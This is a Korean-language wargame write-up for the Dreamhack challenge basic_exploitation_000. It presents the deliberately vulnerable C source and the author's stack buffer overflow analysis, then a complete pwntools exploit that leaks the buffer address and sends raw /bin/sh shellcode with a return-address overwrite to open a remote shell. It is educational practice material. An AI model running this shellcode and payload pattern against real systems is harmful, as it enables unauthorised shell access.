이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[128];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
코드를 보니 버퍼가 128 바이트인데 입력을 141 바이트를 받는 스택 버퍼 오버플로우 취약점이 있었다.
![]()
pwndbg로 확인해보니 버퍼 메모리부터 리턴 주소 시작까지의 오프셋이 132 바이트였다.
26 바이트 짜리 셸코드를 구해서
[셸코드 26 바이트] + [ 106 바이트 채움 ] + [ 리턴주소 4 바이트]
구조로 페이로드를 넣으면 될거같다.
from pwn import *
context.arch = 'i386' # 32비트
context.log_level = 'info'
BINARY = "./basic_exploitation_000"
elf = ELF(BINARY)
p = remote("host3.dreamhack.games", 22192)
p.recvuntil(b"buf = (")
leak = p.recvuntil(b")", drop=True)
buf_addr = int(leak, 16)
log.info(f"buf address: {hex(buf_addr)}")
OFFSET = 132
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload = shellcode + b"A" * 106 + p32(buf_addr)
p.sendline(payload)
p.interactive()
log.info(f"shellcode length: {len(shellcode)}")
log.info(f"payload length: {len(payload)}")
print(payload)
숫자 106 부분을 (OFFSET - len(shellcode))로 바꿔도 잘 작동한다.
원래 pwntool이 생성해주는 셸코드를 사용하다가 공백 문자가 포함되어있어서 26 바이트 짜리 셸코드로 교체했다.